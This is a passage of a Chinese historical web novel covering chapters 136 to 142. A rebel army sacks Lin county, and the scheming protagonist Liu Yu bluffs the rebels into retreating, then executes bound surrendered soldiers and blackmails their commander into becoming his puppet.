“你们居然敢用如此恶劣的态度，对待我天军柳统领！” 不仅是柳羽一脸懵逼，城墙上的刘总旗更是一脸懵逼。 柳羽，护卫营武总旗手下的一个小旗。 什么时候成你叛军的统领了？ 刘总旗刚想说什么。 却见玉军师大手一挥： “临县对我柳统领不敬。” “我玉紫灵今日必下此城，替柳统领出一口恶气。” “全体都有，攻城！” 随着玉军师声音落下。 暗中，无数支箭矢朝着临县城墙飞射而去。 城墙上的弓弩手，好几人连反应都来不及反应，就瞬间被射中头部，当场毙命。 刘总旗人都麻了，朝着城外的玉军师破口大骂： “你放屁，你根本就是一心想攻城。” “什么为柳统领出气，不过是你随便找的借口罢了！” “反击，反击，反击啊！” 城墙下，玉军师身边的柳羽听到刘总旗这话，当即冷哼一声。 二傻子，你终于是特么的聪明一回了。 只是……已经晚了。 叛军的动作，柳羽在城墙下看得清清楚楚。 又二三十人，手里拿着弓弩在朝城墙上射箭，吸引守军的注意力。 而城墙左右两边，已经有几伙叛军小队人马，身手矫健跑到了城墙根下，扔出带绳索的抓钩，再往上爬了。 柳羽看得清楚，却根本不敢提醒城墙上的守军。 只是颇为无奈的朝着玉军师看去： “都说最毒妇人心，是今天算是见识到了，你还真够狠的。” “拿我当理由攻城，说我是你叛军的首领。” “今天听到这话的人要不都死光，否则这天下将再没有我的容身之所。” 玉军师此举，无疑是强行把柳羽，跟叛军绑在了一根绳子上。 玉军师明眸皓齿，笑得如同一朵盛开的彼岸花般美艳动人： “我虽然不知道你到底有什么谋划，但是我猜，临县守不住，一定也在你的布局之内。” “你不谢我，怎么还反过来怪我？” 说着，玉军师甚至还伸手，一副哥俩好的模样，伸手拍了拍柳羽肩膀。 柳羽咬牙切齿，从牙缝中蹦出“谢谢”二字。 嘴上笑嘻嘻，心里麻麻批。 临县城墙上。 刘总旗大声命令弓弩手，疯狂朝着城外射击。 并且很快就发现了，有叛军试图从两侧爬上来。 刘总旗一个箭步冲上前去，一刀砍断叛军钩锁。 几名刚要爬上城墙的士兵，当场摔落下去，摔死在城墙脚下。 别说，刘总旗脑子不好使，但能当上总旗，在战场上的反应能力，也绝对是一流的。 只可惜的是，屋漏偏逢连夜雨。 叛军来攻城，早已经做过万全准备。 有士兵往城墙上爬的同时，还有叛军士兵，推着用牛车加一根粗大圆木做成的攻城车，已经在疯狂撞击城门了。 推车的叛军士兵，身边都有另外一个叛军士兵，手举藤条盾牌保护着。 城墙上的箭矢射下来，根本伤不了他们分毫。 本来到了这个时候，城墙上的守军，就该往城门处倾倒热油，防止敌军撞门了。 奈何，刘总旗一直没把柳羽的话当回事。 城墙上别说大锅烧好的热油，就是箭矢用光了，往城墙下砸的石头都没准备。 全靠士兵身上携带的弓箭长枪对敌。 这样守城，基本就等于是把自己守军的优势全部葬送了出去。 短短不到一炷香的功夫，就已经有叛军士兵爬上城墙，跟城墙上的守军厮杀了起来。 而城墙下，攻城车一遍遍撞击城门，已然是将城门撞出了缝隙。 用不了多久，就能彻底破门而入。 刘总旗不听柳羽的劝说，知道叛军晚上可能攻城，还搁家睡大觉。 导致的最直观结果就是，叛军攻城，城内守军几乎是连反抗能力都没有。 当有叛军士兵爬上城墙那一刻，守军就再也没法抽出精力，去管下面的攻城车了。 短短不到两炷香的时间，在一声剧烈的响动声中。 偌大的临县城门，轰然倒塌！ 第一百三十七章 正义之师？ 城门攻破，无数叛军洪勇而入，冲进城墙下的窄道中。 窄道另外一头，几十名守城士兵手握长矛，将一个个冲进来的叛军士兵捅死，做着最后的抵抗。 在远处看着这一幕的柳羽知道，这已经是临县最后一道防线了。 拿矛堵路的守军士兵死后，战场局势，将彻底演变成，叛军对守军一面倒的屠杀。 结果，几乎是早已经注定好了。 “哎…” 柳羽幽幽长叹。 哪怕是早已经预料到了，临县城守不住。 亲眼见到城破后，柳羽依然是满脸唏嘘。 身边，玉军师朝着柳羽盈盈一笑： “柳羽，虽然你这人畜生了一点。” “但别说，你还真就是个福星。” “没你的时候，临县城我用了无数办法攻了好几次，都没有攻破。” “你出现还不到一个来月吧，这城，就这么轻易的破了！” 玉军师仔细瞅着柳羽。 是越看越顺眼： “说真的，加入天军吧。” “朝廷给不了你的东西，我能给。” “我甚至能保证，你加入天军后，会成为于我之下第一人的存在！” “如果你肯加入，天军，或许就不再需要什么后路了！” 柳羽觉得好笑。 一人之下万人之上？ 听起来挺不错，但可惜，天军体量摆在这。 攻个小县城都困难，离能跟朝廷正面对抗，更是差了十万八千里。 这就相当于一个初创十几人的小创业公司，拿自己CEO的职位来画大饼，拉拢柳羽这个公务员。 柳羽要的安慰宁静，一家人安安稳稳过日子。 除非玉军师具备改朝换代的能力，否则这种日子，就只有朝廷能给。 加入？ 怎么可能！ 见柳羽不回话，只是一味的咧嘴笑。 玉军师眼中闪过一抹阴冷： “你仔细考虑考虑吧。” 两人说话间，临县城中已经是火光漫天。 刘统领手下为了守城，居然是推了两车粮草过来，堆在城门口点燃。 用大火阻止叛军进城。 但终究是徒劳无功。 反倒是叛军捡起地上的长矛，用长矛挑起车上熊熊燃烧的粮草朝着城里扔。 城内守军慌忙躲避。 燃烧的粮草砸在木质建筑物上，火势噌的一下就冒了起来。 木材燃烧的噼啪声，士兵喊叫的厮杀声，刀枪剑戟对撞的叮当声，响成一片，乱作一团。 混乱之中，双方士兵根本就认不得谁是谁。 但凡是撞见人，看人衣服跟自己不一样。 拔刀便砍。 尸体与血流交织。 火光与大雪相融。 大批叛军冲进城后，城内可怜巴巴两百多名守城士兵，沦为待宰羔羊。 一个守军士兵，往往要面对四五个人的围杀。 一刀砍出去没砍倒人，不等再挥砍的机会，身体立马就被三四柄长矛洞穿。 战争，从来都是残酷的。 守军士兵无论好与坏，都尽数死在刀剑之下。 无论血战与逃亡，都避免不了死亡的命令。 至城门被攻破后，短短不到半个时辰的时间，城内守军就已经被杀到所剩无几。 最后身下的刘总旗，跟他身边十来个士兵，被近百名叛军围堵在城墙角落。 所有人的脸上，都被血与汗，遮盖得面目全非。 哪怕是哭，都没人能够发现。 眼见已经兵败如山倒，围着自己的上百名叛军士兵正在步步逼近。 刘总旗果断扔下手中武器，朝着身边士兵大吼： “投降，弃刀投降！” “我们投降了，别打了！” 城门口，一名叛军士兵兴高采烈从城门跑出来，跑到玉军师跟前： “禀报军师，临县刘统领，跟他手下九名守军，已经弃刀投降。” “临县，破了！” 玉军师微微一笑，淡淡道： “留一队人马看守降军，其余人手自城中散开，自行掠夺。” 那前来禀报的士兵，兴奋到极点。 连忙问道： “军师，城中的女人…我们可否…嘿嘿嘿。” 柳羽轻抬眼皮，似笑非笑地朝玉军师看去： “听闻，天军自诩为替天行道，为黎明苍生而起的正义之师。” “莫非，正义之师破城后，也要大肆屠戮，淫害一方？” 被柳羽阴阳怪气，玉军师眼神冰冷地朝着那名叛军士兵道： “寻常百姓门户，不可扰动。” “县衙，卫所营，为掠夺重点。” “大户人家，只可劫财，不可伤人性命，祸其家人。” “违者，斩！” 此言一出，那名叛军士兵的脸色顿时就垮了下去。 冷冰冰瞅了柳羽一眼，转身就走。 但哪怕是玉军师如此，柳羽还是阴阳怪气继续道： “做得了一时的表面功夫，可不算什么真本事，表面功夫做足一辈子，那才叫真本事呢。” “圣人言，得民心者得天下。” 柳羽故意顿了顿，似笑非笑看着玉军师： “更何况，一支能做到令行禁止，不扰民，不伤名的正义之师。” “靠得从来就不是做表面功夫，而是严明的军纪，长期建设出的，以天下为己任的中心思想。” 说罢，柳羽故作姿态摇头长叹。 “可惜哦，我在玉军师手下的军队上，完全没看到这两个点。” 玉军师被柳羽阴阳怪气的咬牙切齿。 强忍怒火，攥紧拳头，勉强挤出一个笑容来面对柳羽： “那之柳先生所言，正义之师，该如何建设呢？” 不料，柳羽两手一摊。 一副无所谓的模样： “我一个将死之人，管这些干什么？” “别问我，我不知道。” 说罢，柳羽直接闭嘴。 任凭玉军师如何询问，如何暴怒。 也一言不发，闭口不言。 玉军师连着问了两三次，见柳羽一点想说话的意思都没有，也是彻底怒了。 目光直接朝萧天元看去： “守好他。” “进城后，如果他想逃跑，你可以先杀了，再跟我汇报。” 萧天元点头： “放心军师，他从我手上跑过一次，我拿命保证，不会再出现第二次。” 直到听到这话，玉军师这才终于放心。 带着叛军最后人马，缓缓朝临县城中走去。 众人入城时，城内的火势，已经蔓延到左边街道一排的建筑上。 如果不下大雪，或是人力想办法扑灭。 火势很有可能蔓延至整条街。 第一百三十八章 你叛军，该当如何？ 柳羽望着玉军师的背影。 扭头朝萧天元，语气微冷道： “火这么大，你们不打算派人扑灭一下吗？” 萧天元摇头： “已经丑时了，天亮就得撤军，劫掠都来不及，哪有时间管火势。” 听闻此言，柳羽眼神瞬间冰冷至极，不由冷笑道： “所以，这场大火可能烧死多少人，致使多少百姓流离失所，你们一概不管？” “这就是所谓天军？这样的天军，跟山匪有什么区别？” 天军打着拯救黎明苍生的旗号。 柳羽的话，萧天元不占理，自然不好反驳。 但只是扭过头去，装出一副没听见的样子。 眼睁睁看着火势蔓延至街道，将一栋栋房屋焚毁殆尽。 如果说此前，柳羽明知道叛军跟山匪差不多。 只是想两不相干的话。 那么现在，在确定叛军的性质跟山匪一模一样后。 柳羽已经有了，覆灭叛军的想法。 放任这样一只队伍发展壮大，战火迟早蔓延到沧县，蔓延到柳羽所在的柳家村去。 到时候，沧县跟柳家村，只怕会跟如今的临县一样。 大火蔓延，断壁残垣。 不远处，一队叛军士兵，将五花大绑的总旗等人，带到了玉军师面前。 只是让人颇为意外的是。 刘总旗如今已经沦为了阶下囚，却表现得相当硬气。 在被几名叛军士兵按着，跪倒在地后。 刘总旗硬气地把头扭到一边去，冷声道： “哼，你们叛军，果然是一如既往地出尔反尔。” “如今我以成败将，要杀要剐悉听尊便，只希望你们叛军还有点良知，不要牵连我的家人。” 玉军师轻笑出声： “早不硬气晚不硬气，偏偏等到败了，沦为阶下囚了才硬气？” “我该怎么评价你好呢？” 刘总旗冷哼： “你叛军人多硬要攻城，这城怎么样都守不住。” “我卖柳羽，不过是为临县拼一线生机而已，我有何错？” 刘总旗这话，不禁让玉军师瞳孔微张，大感意外。 一脸疑惑地看着刘总旗，玉军师挑眉道： “你就不觉得，柳羽是我叛军安插在城内的内奸？” 不料，此话一出，刘总旗却是嗤笑出声。 大声笑完后，刘总旗淡淡道： “我守城不力，你可以说我无能，但我不傻。” “柳羽在城内几次劝我，我听得很清楚，他不可能是叛军的人。” “你想用这种卑劣的伎俩挑拨离间，还是省省吧。” 柳羽跟着萧天元，缓缓靠到了刘总旗跟前。 看着眼睛，临死之际才终于清醒的刘总旗，柳羽实在不知道该说什么好。 只是还不等柳羽开口。 玉军师却骤然拔出腰间宝剑，递到了柳羽手上。 朝着柳羽盈盈笑道： “柳统领，这个刘总旗此前那么折辱你，临县城我给你攻下了，人也给你抓到了。” “不如就由你来杀了他，好好出一口心中的恶气？” 长剑在手，柳羽眼神冷得可怕。 不是因为恨玉军师。 而是柳羽清楚知道，此前玉军师说自己是叛军的人。 一面之词，怎么样，自己都可以圆。 但如果自己真杀了刘总旗，那就再也圆不了了。 朝廷，绝对不会放过自己。 玉军师，哪里是在帮自己出气。 分明是在把自己，硬往叛军逼。 偏偏的，刘总旗这个没脑子的家伙，还主动朝着柳羽，伸长了自己的脖子。 “姓柳的，老子确实是对不住你，但老子就是讨厌你。” “你杀了我吧，死谁手上不是死，与其死叛军手上，我不如死你手上。” 柳羽狂翻白眼。 抬起一脚踹在刘总旗胸口，将人踹倒在地： “煞笔！” “老子都懒得骂你。” 说着，柳羽一把将手中长剑扔掉。 冰冷地看着玉军师： “他没脑子，你当我也没脑子？” “我不可能杀他。” 玉军师脸上，依旧挂着淡淡的笑容： “你误会我的意思了。” “我说过了，你这样的大才，得不到，我就会毁掉。” “所以要么你亲手杀了他，要么，你跟他一块死。” 柳羽嗤笑出声。 本来还想着，玉军师的叛军军队，在临县城劫掠完，就走了。 因为都护府官兵被截杀一事，她怎么着都不会对自己怎么样。 只是没承想，自己在玉军师心里的地位这么重。 她哪怕宁愿硬背着截杀都护府官兵这口黑锅，面对朝廷震怒。 也要得到自己，或毁掉自己。 柳羽盈盈冷笑。 无论是临县守军，还是叛军。 柳羽实际上，都是两面逢缘，受玉军师器重的同时，更是武总旗手下小旗。 情况再怎么坏，柳羽自身，都不该有危险。 本想安安稳稳当颗墙头草，不料给玉军师发现了。 既如此，柳羽也懒得再精于算计了。 直接扭头朝玉军师看去： “有地图吗？” 玉军师不解： “我让你杀刘总旗，你要地图干什么？” 柳羽冷笑出声： “没有也无妨，临县周边地图，都在我的脑子里。” “玉军师，既然你真当我柳羽是泥捏的好欺负，现在你大可以让你的兵，在临县城找找看。” “看看我那帮兄弟，包括临县的平民百姓，你能不能在临县城找到一个出来！” 此话一出，玉军师脸色骤变。 连忙扭头看向萧天元。 萧天元不敢耽搁，立即命人去找其他叛军士兵问询。 不到一炷香的功夫，一名叛军士兵，火急火燎地折返回来。 那士兵额头上汗水密布，抱拳朝着玉军师艰难道： “禀，禀报军师。” “临县城中除了几户大户之外，其他人，全不见了！” “我天军将士一路上找寻过去，家家户户大门打开，屋内一个人影都没有．” 玉军师脸色难看到极点。 攻临县之前，临县城外她时刻盯着。 从没有见城里的百姓，撤离过。 如果是这样，玉军师很快就想到，城中百姓，可能从后城门，撤去了松阳山。 玉军师正思索着，柳羽却是直接打断玉军师的思绪： “别想了，城里百姓跟我那伙兄弟，就是去了松阳山！” “玉军师你可以想想自己的处境。” “你叛军进了城，临县城外，有武总旗王总旗的大军，临县城后方，有松阳山上我的弟兄跟百姓。” “若是两面包夹，你叛军，该当如何？” 第一百三十九章 志不在此 玉军师脸色难看到极点。 临县城门已经破了，被叛军攻破的。 现在叛军全进了城。 一旦城外被围，城后方再起民兵。 叛军直接被围在城里，只怕会落得个，被全歼的下场。 想到这个可能性，玉军师只觉得手脚冰凉。 愣神看着柳羽，满心都是后悔： “我早该杀了你的，第一次见面，我就该杀了你！” 柳羽嗤笑： “机会就一次，错过了，永远不会再有。” “玉军师，你叛军围住临县不攻，却要临县把我交出去。” “你真当我傻啊，猜不出你是在忌惮我，怕临县守城的是我？” 玉军师脸色本来就已经够难看的了。 听闻此言，难看的脸色，已经转变成了浓郁的杀意。 她一早就跟萧天元说过。 如果柳羽猜得到，叛军围临县不敢第一时间进攻，是因为忌惮柳羽区区一个小旗。 那柳羽这人就太可怕了，绝对不要招惹。 如今，柳羽果真猜到，叛军也几乎已经跟柳羽撕破脸皮。 玉军师脑海中第一时间想到的，就是杀了柳羽，杀了这个祸患。 心机如此，此子，断不可留！ “我现在也能杀了你，天元，取剑！” 随着玉军师一声怒喝。 萧天元拔出腰间长剑，交到玉军师手上。 眼看着玉军师杀意凛然，柳羽却全然不怕。 淡淡道： “砍呗，我但凡躲一下，我是你生的。” “反正请君入瓮之计已成，你杀了我，进了城的叛军一个都活不了。” 柳羽笑盈盈地望着盛怒之下的玉军师： “不过临死之前，我想请玉军师猜一猜。” “你猜你还有多少时间可以逃跑？” “或者说，城外两位总旗的大军，城后方大批的精兵，还差多少时间，就能把你叛军彻底困死在临县城？” 柳羽望着玉军师，笑得格外嚣张。 柳羽所说的，自然是假的。 百姓是撤离，城外两名总旗的大军柳羽也没联系，他们知不知道临县被攻，会不会折返回临县，柳羽一概不知。 柳羽唯一知道的是，自己现在是在诈玉军师。 自己越嚣张，她就越会相信。 反倒是露出怯意，会让玉军师发现不对劲。 为此，柳羽甚至主动贴近玉军师。 脸对脸，贴近玉军师面前不到十公分的距离。 双方呼吸的热浪，都能清晰感觉到。 柳羽凝望着玉军师美艳的双眸，轻笑道： “杀了我，局面会不死不休。” “我是不怕的，毕竟所有叛军都得给我陪葬，尤其是杀我的，还是玉军师这样的大美人儿。” “正所谓，牡丹花下死，做鬼也风流嘛。” “就是不知道玉军师你，怕不怕了。” 玉军师知道眼前的事情，可能彻底麻烦了。 却还是强装镇定，坚定道： “你在诈我。” “两个总旗一出城，就有我的人跟着。” “他们若是有折返临县的迹象，我不可能不知道！” 柳羽嘴一瘪，手一摊。 一副无所谓吊谓的模样： “你开心就好，人总是喜欢自己骗自己的。” “既然你这么相信你的安排，剑在你手上，一剑捅死我呗。” “求求你了，你捅死我吧，你这样的大美人我活着不一定得到，能跟你一块死了，我可太开心了，求之不得，梦寐以求啊！” 眼睛，是心灵的窗口。 玉军师死死注视着柳羽双眸，想从柳羽的眼神中，看出所以然来。 但可惜。 柳羽恶心人的时候，特别喜欢摆出一副贱兮兮的模样。 眼睛眯成缝，笑盈盈地盯着被自己恶心的人看。 这种情况下，玉军师能从柳羽眼中看到的，只有嚣张跟欠揍。 至于柳羽脑子里在想什么。 根本察觉不出来。 两人对峙良久，玉军师踪迹是不敢跟柳羽耗下去。 连忙扭头朝萧天元道： “传令，所有人手，加急到县衙收集县志，以及临县近年来的账册，同时找到萧天元，救他出来。” “城中粮草跟金银珠宝，能拿便拿，拿不了烧了，不许刻意寻找。” “最多半个时辰，所有人到城门口集合，准备撤离！” 萧天元目光瞅向一脸嚣张的柳羽： “那他呢？” 不料，此话一出，玉军师直接对着萧天元破口大骂： “你喜欢她想娶她啊，都这个时候了还管她？” “赶紧去办！” 萧天元被喷了一脸唾沫星子，不敢怠慢，连忙带着人，拔腿朝城中跑去。 就给玉军师身边，留了十来个近卫保护。 玉军师已经中计，柳羽自然不可能趁机逃跑，让玉军师意识到自己是在骗人。 反正干等着也无聊。 柳羽就搁玉军师身边待着，细细打量着这个难得一见的大美人： “玉军师，本来你就已经够美丽了。” “你生气时的样子更美，看得我心脏扑通扑通地跳个不停。” 玉军师额头青筋暴起。 她自认为，自己一个女子当军师，心性足够坚定。 能够做到宠辱不惊，泰山崩于面前而不急。 面对其他任何人的时候，玉军师都能做到这一点。 但偏偏的，就是在面对柳羽的时候，总是沉不住气。 一看到柳羽这贱兮兮的模样，玉军师就想杀人。 听到柳羽这话，玉军师更是深吸了好几口气，才勉强恢复镇定。 冷眼看着柳羽，冰冷道： “这么说，你喜欢美人？” 柳羽笑着摇头： “我对美人不感兴趣。” “我主要是对玉军师这样聪明的绝女子，相当的有兴趣。” 玉军师眼中发狠。 犹豫片刻后，像是下定了某种决心一般，看向柳羽的目光，逐渐变得温柔： “这么说，若是我让你得到我，你便愿意为我所用？” 柳羽嘴巴微张。 这娘们儿，还真够狠的。 为了拉拢人才，连自己都愿意牺牲。 可惜了，品尝美人可以，让自己加入叛军，那是万万不行滴。 柳羽叹息一声摆手： “抱歉，加入叛军，非我所志。” “我柳羽看得上的，是一只能够为生民立命，为万世开太平的王师，不是一帮攻个城，都要费尽心思跟手段的山匪。” “所以，非常抱歉，让我加入叛军，真的太强人所难了。” 柳羽话音落下，却是让玉军师陷入了沉思。 嘴里呢喃着柳羽的话语： “为生民立命，为万世开太平吗？” 第一百四十章 风水轮流转 柳羽的话，此前玉军师从没有听说过。 只是莫名觉得震撼。 玉军师怔怔望着柳羽。 此前柳羽说过。 他的志向，只是希望自己一家人，能平平安安的过日子。 至于什么金钱美人，宏图霸业，都非柳羽所愿。 从一开始玉军师就不相信，柳羽这样的大才，会甘愿沦为平庸。 直到此刻，玉军师才明白。 为生命立命，为万事开太平。 柳羽从来就没甘愿平庸过，也不是什么胸无大志之人。 恰恰相反，柳羽的志向太大了。 大到所有人都难以想象。 大到就连柳羽自己，都不觉得自己有希望能办成。 所以，柳羽才表现出一副，很乐意偏安一隅，随波逐流的模样来。 玉军师若有所思，连带着，对柳羽的怨气都消解了不少。 大约两三炷香的功夫，城中陆续有叛军士兵，抱着或用竹简，或用粗麻纸加针线编织成的县志跟账册，到城门口集合。 玉军师不急着收集城中粮草，金银珠宝，唯独要这两样东西，目的柳羽大致能猜到。 县志，记载着全县历年来，大大小小发生过的诸多事情。 尤其是临县县衙内，办过的诸多案件，在县志中均有记载。 而账册，记载着临县诸多粮草金钱的交易往来。 比如临县近年来，百姓粮食收成多少，卖出多少粮，又从其他地方收集了多少粮。 县衙账册中均有记载。 甚至有可能，县衙县令县吏们历年来贪污受贿多少。 账册都可能存在明确的记载。 就算没有明确记载，根据实际情况算一下账，也能发现诸多端倪。 县志跟账册这两样东西，不能吃不能卖，端起来看毫无价值。 但从长期战略的目光来看，这两样东西，能帮助叛军深入了解临县情况。 掌握这两样东西。 叛军就等于了解了，临县各处命脉之所在。 无论是日后，叛军在想寻机会攻打临县，或是在临县安插探子。 帮助都是极大的。 甚至如果某一天，叛军真的可以完完全全占领临县。 有这两样东西在，都能帮助叛军，在短时间内将整个临县，彻底掌握在自己手中。 而且如果叛军，从县志跟账册中查出诸多猫腻，昭告天下。 还能彻底掌握话语权，痛斥朝廷如何腐败与不作为。 从这几点来看。 再多的粮草，再多的金银珠宝。 价值可能都比不过叛军士兵手中，抱着的一本账册。 如此可见，玉军师的眼光，可谓是相当长远。 她绝对算得上是一个，合格的军师。 半个时辰很快过去。 叛军士兵大致集合完毕。 此前被关押在县衙大牢内的叛军探子萧寒衣，也被他的儿子萧天元，亲手救了出来。 柳羽这个把萧寒衣，亲手送进大牢的人，再度与萧寒衣见面。 不等柳羽开口，面色苍白，精神状态极度不好的萧寒衣率先笑道： “小兄弟，风水轮流转，这回，轮到你当阶下囚了。” 柳羽咧嘴一笑： “哦，萧老哥这些日子，在牢内的日子过得如何？” 萧寒衣朝着柳羽抱拳： “拖你的福，就刚入大牢的时候挨了顿鞭子。” “其他时间，除了吃不好睡不好，其他都还行。” 柳羽依稀记得，当初跟着萧寒衣一块被抓的叛军探子，一共是两个。 除萧寒衣之外，还有一个女的。 只是如今，只见萧寒衣被救，那女生却不见了踪影。 柳羽疑惑道： “另外一人呢？” 萧寒衣自然清楚，柳羽口中的另外一人，指的是谁。 眼眸中闪过一丝恨意，痛苦开口道： “呵呵，小兄弟，女人进了大牢会是什么下场，你不会不知道吧？” “你将我二人送入县衙当天，几个衙役就在牢里扒她衣服，要凌辱她。” 萧寒衣满脸沧桑，哽咽道： “我在隔壁牢房听着动静，让她为避免被凌辱，咬舌自尽了。” 柳羽神情骤变。 这种情况，柳羽还真没有想到。 当时柳羽刚来临县，帮李晟破获王员外被暗杀一案，抓住一男一女两名叛军探子。 把他们移交给县衙的时候，从没往这方面想过。 柳羽只是理所当然的觉得，叛军探子价值极大，临县县衙怎么着，也不会要他们性命。 当初柳羽以为，王五可能被叛军抓了。 还指着这拿这两人，跟叛军换王五呢。 不曾想，这两人在县衙，会落得如此下场。 衙役，在县衙大牢，对牢内女囚犯，进行凌辱。 这些词汇，这些字语，柳羽从来就没想过，它们能组成一句完整的话。 更不可能想到，这种情况会真的发生。 似乎是看出了柳羽眼中的错愕。 萧寒衣释然的笑道： “看来小兄弟你，觉得衙役是官，完全没有想到，他们能干出这种事。” “呵呵，其实有的时候，官跟匪，没有差别的。” 柳羽神情错愕，有点不解的看向萧寒衣： “你不恨我？” 萧寒衣苦笑着摇头： “你当时给过我选择，路是我自己选的，我怎么恨你？” “我恨的，只是这不堪的世道，只是这不作为的朝廷。” “至于你我，都不过是被世道裹挟之人而已，你我这种小人物，大多数时候，压根没得选择。” 柳羽拳头攥紧，言语冰冷： “报仇了吗？那几名衙役，死了没？” 萧寒衣冷着眼点头，摊开双手，向柳羽展示自己手上的血迹： “报了，我亲手宰的那几个畜生。” “头现在就挂在县衙大门口，小兄弟有兴趣，可以找时间去看看。” 听到那几个畜生死了，柳羽就放心了。 不然，萧寒衣不动手，还得麻烦自己想办法宰畜生。 宰畜生柳羽不介意，唯独介意宰的时候，惹自己一身骚。 寒暄结束，到了叛军要撤离的时候。 玉军师还没开口，要带柳羽一起走。 萧寒衣却主动地，先玉军师一步，朝柳羽抛出了橄榄枝： “小兄弟，听闻你跟我天军玉军师，相处的还不错？” “天军比之朝廷，虽没有好到哪里去，但至少正常点。” “我观小兄弟，也是个侠肝义胆，见不得世俗污垢之人。” “不如，一同撤走？给叛军卖命有没有前途我不敢保证，但给朝廷卖命一定没有前途，相信这一点小兄弟比我清楚。” 第一百四十一章 傀儡 柳羽当然清楚。 光是现在这种情况，给朝廷卖命的后果，就已经能够直观的看到了。 可惜了，柳羽没得选。 眼下，还得仰仗腐朽不堪的朝廷，给身边兄弟家人，求一份平安。 柳羽笑着婉拒道： “我有自己的路要走，谢谢好意了。” 见状，萧寒衣也没有过多纠缠。 反而是目光看向玉军师开口道： “军师，可否信我一言。” “柳小兄弟重情重义，今日放过他结个善缘，日后定当有好报。” 玉军师差点没被当场气笑。 不是因为她不信萧寒衣，也不是因为她不信柳羽的人品。 而是她眼下，就算不放过柳羽，也不能拿柳羽怎么样。 最多也就是把柳羽，当作俘虏抓走罢了。 不过既然萧寒衣替柳羽开口了。 玉军师当即朝着柳羽抱拳： “既然萧前辈都开口了，柳羽，咱们来日方长。” “这临县的刘总旗等人，就交由你处置了。” 说罢，玉军师对着叛军大军抬手一挥： “撤离！” 玉军师带队。 带着叛军队伍快速撤出临县。 一直到她们走了有一炷香的功夫，刘羽搁城门口看着叛军身影，消失在城外山林当中，这才大松了一口浊气。 计谋已成，现在天都快亮了。 哪怕玉军师发现柳羽是在骗她，城外两名总旗根本没有折返回临县的迹象。 玉军师想后悔，再来城里找自己麻烦。 也来不及了。 天空下起大雪，城内的火光，逐渐熄灭下去，留下一地的断壁残垣。 柳羽孤身返回临县城内，走到被五花大绑丢在地上的刘总旗等人面前。 一见柳羽过来，刘总旗连忙开口： “别傻愣着了啊，叛军都走了，快给我松绑。” 刘总旗手下士兵也是纷纷开口： “对啊，柳小旗，快给兄弟们松绑啊。” 柳羽轻笑着点头。 有此一遇，刘总旗算是幡然醒悟。 跟柳羽之间的恩怨，也算是消磨到了一干二净。 浪子回头金不换，人柳羽自然是乐意放的。 弯腰捡起落在地上的一把长刀，柳羽走到刘总旗身边。 抬刀，对准一名士兵身上的绳索，猛然砍下。 绳索未断，却是飞出好大颗头颅。 那名士兵到死，脸上都挂着劫后余生的笑容，以为叛军走了，自己的小命就抱住了。 怎么都没有想到，柳羽会杀他。 血溅到刘总旗脸上。 刘总旗脸上的笑容，肉眼可见地凝固起来。 惊骇欲绝望着柳羽： “你干什么，自己人啊！” 柳羽眼神冰冷： “抱歉，我得为自己跟身边兄弟着想。” “刘总旗你官大，我跟叛军说了什么你又听得清清楚楚。” “若我放了你，你诬蔑我是叛军的人，我就完了。” 刘总旗满眼不敢置信。 嘴巴张大，说话都有些不利索起来： “别，别，我什么都不会乱说的，信我，相信我啊！” 然而，柳羽只是漠然摇头： “你会不会乱说我不知道，我只知道，死人一定不会乱说。” “路是你自己选的，你早点听我的，临县不破，你也不会落到如此下场。” 说着，柳羽连续不断手起刀落。 十几名刘总旗手下的兵，被柳羽毫不留情斩杀。 待到在场只剩下刘总旗一人时。 望着浑身被鲜血浸染的柳羽。 刘总旗神情惊恐，只觉得此刻的柳羽，比之先前的叛军还要恐怖。 “畜生，畜生啊，姓柳的，你特么的就是活活一笑面虎！” “哈哈哈哈，我说先前，那堂堂叛军军师，怎么会对你流露出惧意来呢。” “柳羽，你这头笑面虎，没少坑他们叛军吧？” 柳羽砍人时，刻意下手重了点，好让血能溅射到自己身上。 此刻柳羽满脸血迹，脸上的轮廓已经看不清楚了。 唯有咧嘴时露出了两行大白牙，看得刘总旗触目惊心。 但轮到刘总旗时，柳羽却没有再动手。 反而是一把将手中的刀丢掉，在刘总旗面前一脸诚恳的蹲下： “某种意义上来说，刘总旗你的评价很对，我确实是一个笑面虎。” 话音落下后，柳羽扭头，看向城中满地的尸体： “刘总旗，临县二百多名守军，面对叛军千人大军攻城，我与你死战不退，战斗到最后一刻，对也不对？” 刘总旗一脸懵逼，没听明白柳羽再说什么。 柳羽却是继续道： “城虽被破，柳羽与刘总旗，却是拼尽全力保卫全城百姓安全撤离，对也不对？” 这些刘总旗听懂了。 彻底听懂了。 眼睛瞪得像铜铃，死死盯着柳羽： “你特么的，你要我跟你一块撒谎？” 柳羽咧嘴一笑，笑得格外的阳光。 临县城被攻破，如果就剩柳羽一个人活着，肯定是不好解释的。 所以，柳羽要做的，便是留着刘总旗，把他拉下水。 要他跟自己一块编造谎言，欺骗朝廷。 冷眼望着刘总旗，柳羽冰冷开口： “按照律法，将领守城不利，当斩。” “但我事先安排，把平民百姓撤走了，你拿这个理由解释，朝廷最多只会罚你，绝对不会杀你。” “刘总旗，麻烦你聪明点，不要再这么傻了，我不是在拉你下水要你跟我一块撒谎，我是在救你。” 刘总旗大笑出声： “哈哈哈，好一个救我，好一个救我啊。” “我难道不知道我守城不力是死罪吗？有话直说，你到底想干什么！” 柳羽笑颜如花，十分的阳光： “我要栽培你。” “虽然你的兵都死绝了，但你还是总旗。” “当总旗要资历，要军功，没个十几年功夫我是肯定当不上总旗的，但我有需要总旗的权利跟支援。” 顿了顿，柳羽抬手轻拍刘总旗的肩膀： “而且我这人，最讨厌自己站在明面上，我喜欢别人站前面给我挡枪。” “所以，能不能麻烦刘总旗你，当我的傀儡啊？” 刘总旗神魂剧震，浑身一股凉意，从脚底板直冲天灵盖。 不敢置信的望着柳羽，喉结蠕动，刘总旗艰难开口： “我要是拒绝呢？” 柳羽抬手，指向刘总旗家的方向： “我把你身边的兵都杀了，是因为人多了不好控制。” “就你一个人的话，省心一些。” “所以，你同意的话，你的老婆孩子父母亲人，我替你养着。” “不同意，我替你送他们归西。” 第一百四十二章 女中巾帼 此话一出，刘总旗本就已经惨白的脸上，彻底失去所有血色。 望着眼前，一脸平静说出这番话的柳羽。 刘总旗连恨的勇气都没有。 有的，只有来自灵魂深处的恐惧： “畜生，畜生啊！” “柳羽，你简直特么的就是个活畜生！” 柳羽早就被人骂习惯了。 刘总旗这两句话骂在柳羽身上，不痛不痒的。 现在攻守易型，高高在上的刘总旗成了柳羽砧板上的鱼肉。 